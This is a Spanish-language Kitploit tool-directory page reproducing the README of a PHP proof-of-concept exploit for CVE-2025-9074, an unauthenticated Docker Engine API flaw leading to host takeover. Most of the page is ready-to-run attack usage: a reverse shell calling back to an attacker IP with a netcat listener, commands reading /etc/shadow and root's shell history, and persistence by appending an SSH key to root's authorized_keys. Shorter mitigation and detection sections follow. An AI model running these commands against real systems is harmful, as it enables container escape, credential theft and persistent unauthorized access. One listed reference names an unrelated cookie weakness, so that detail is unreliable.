Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-9074 — PoC en PHP, exploit para CVE-2025-9074 | Kitploit
Herramientas/GitHubGitHub/c0gnit00/cve-2025-9074
Escalada de PrivilegiosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónSeguridad en la NubeComando y ControlHerramienta de Acceso RemotoEscape de Contenedores
5hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PoC en PHP, exploit para CVE-2025-9074

Ver Repositorio

CVE-2025-9074: RCE no autenticado en la API de Docker Engine

Gravedad: CRÍTICA | Puntuación CVSS: 9.8 (estimada) | Versiones afectadas: Docker Desktop < 4.44.3

Un exploit de prueba de concepto para CVE-2025-9074, una vulnerabilidad de ejecución remota de código no autenticada en la API de Docker Engine que permite escapar de contenedores privilegiados y comprometer el sistema host.

🔴 Resumen de la vulnerabilidad

CVE-2025-9074 es una vulnerabilidad crítica en Docker Desktop que expone la API de Docker Engine sin autenticación adecuada ni aislamiento de red. Esto permite a atacantes remotos:

  • Ejecutar comandos arbitrarios con privilegios elevados
  • Escapar del aislamiento de contenedores y acceder al sistema de archivos del host
  • Establecer conexiones de shell inversa con sistemas controlados por el atacante
  • Comprometer todo el host de contenedores y el sistema operativo subyacente

Vector de ataque

  • Exposición de red: API de Docker expuesta en interfaces de red (normalmente el puerto 2375/TCP)
  • Sin autenticación: la API acepta solicitudes sin autenticación
  • Contenedores privilegiados: capacidad de crear contenedores privilegiados con acceso al sistema de archivos del host
  • Montajes bind: acceso directo al sistema de archivos del host a través de rutas de montaje bind

📋 Requisitos

  • PHP CLI (7.0+)
  • Extensión curl habilitada en PHP
  • Conectividad de red con el endpoint expuesto de la API de Docker
  • Docker Desktop < 4.44.3 (versión vulnerable)

Requisitos del sistema para el objetivo

La vulnerabilidad afecta a:

  • Docker Desktop for Windows < 4.44.3
  • Docker Desktop for Mac < 4.44.3
  • Docker Engine (cuando se expone sin TLS)

🚀 Inicio rápido

Instalación

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Uso básico

Ejecuta un único comando en el host Docker:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Shell inversa

Establece una shell inversa interactiva:

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 Guía de uso

Sintaxis del comando

root@kitploit:~
php poc.php -u <url> [options]

Opciones

Modo: ejecución de comandos

Ejecuta comandos individuales en el objetivo:

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Modo: shell inversa

Genera una shell interactiva con callback:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

Ejemplos según el sistema operativo

Objetivo Linux

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Objetivo Windows

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

Objetivo macOS

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Escenarios de explotación en el mundo real

1. Reconocimiento

root@kitploit:~
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Recopilación de credenciales

root@kitploit:~
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Persistencia

root@kitploit:~
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Movimiento lateral

root@kitploit:~
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 Detalles técnicos

Mecanismo de la vulnerabilidad

  1. Socket/API de Docker expuesto: la API de Docker escucha en 0.0.0.0:2375 sin autenticación
  2. Creación de contenedores privilegiados: el POC crea contenedores privilegiados mediante /containers/create
  3. Enlace al sistema de archivos del host: los contenedores utilizan montajes bind para acceder al sistema de archivos del host:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. Ejecución de comandos: los comandos se ejecutan con privilegios root/SYSTEM dentro del contenedor
  5. Acceso al sistema de archivos del host: acceso directo de lectura/escritura a las rutas /mnt/hostfs

Flujo del payload

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

Análisis del código

  • Interacción con la API de Docker: utiliza cURL para la comunicación REST API HTTP/1.1
  • Desmultiplexado de logs de Docker: gestiona correctamente el formato de flujo multiplexado de Docker
  • Compatibilidad multiplataforma: adapta las rutas de montaje bind para Windows/Mac/Linux
  • Gestión de tiempos de espera: tiempo de espera de 60 segundos para comandos de larga duración

🛡️ Mitigación

Acciones inmediatas

  1. Actualizar Docker Desktop

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. Aislamiento de red

    • Restringir el puerto de la API de Docker (2375) solo a localhost
    • Usar reglas de firewall para bloquear el acceso externo
    • Deshabilitar la exposición del socket de la API de Docker
  3. Habilitar la autenticación TLS

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Segmentación de red

    • Ejecutar Docker Desktop en redes aisladas
    • Implementar acceso a la red de confianza cero
    • Usar VPN para acceso remoto

Ajustes de Docker Desktop

  • Windows/Mac: deshabilita "Expose daemon on tcp://localhost:2375"
  • Usar el socket Unix (/var/run/docker.sock) solo para acceso local
  • Implementar autenticación mediante Docker Context con credenciales

📊 Detección

Detección en red

root@kitploit:~
# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

Detección en logs

  • Supervisar los logs del daemon de Docker para detectar llamadas API inusuales
  • Alertar sobre la creación de contenedores privilegiados
  • Realizar seguimiento de los patrones de uso de montajes bind

⚠️ Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

  • Utiliza este POC únicamente en sistemas que te pertenezcan o para los que tengas permiso explícito de pruebas
  • El acceso no autorizado a sistemas informáticos es ilegal
  • Los usuarios asumen toda la responsabilidad por sus acciones
  • Este POC es para pruebas de penetración autorizadas e investigación de vulnerabilidades

📝 Referencias

  • Seguridad de Docker Engine
  • Documentación de la API de Docker
  • Detalles de CVE-2025-9074
  • CWE-784: Dependencia de cookies sin validación adecuada

🤝 Contribuciones

¡Las contribuciones son bienvenidas! No dudes en enviar incidencias (issues) o solicitudes de cambio (pull requests).

📄 Licencia

Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

👤 Autor

Investigador de seguridad | Probador de penetración


Última actualización: mayo de 2025 | Estado: Investigación activa

Descargar herramienta
OpciónCortoRequeridoDescripción
--url-u✅ SíURL de la API de Docker (p. ej., http://1.2.3.4:2375)
--mode-m❌ NoModo de ejecución: cmd o reverse (por defecto: cmd)
--cmd-c⚠️ Para el modo cmdComando a ejecutar en el objetivo
--lhost-l⚠️ Para el modo reverseTu dirección IP para el callback
--lport-p❌ NoTu puerto de escucha (por defecto: 4444)
--os—❌ NoSO del objetivo: linux, mac, windows (por defecto: linux)
--cleanup—❌ NoEliminar el contenedor después de la ejecución
--help-h❌ NoMostrar el mensaje de ayuda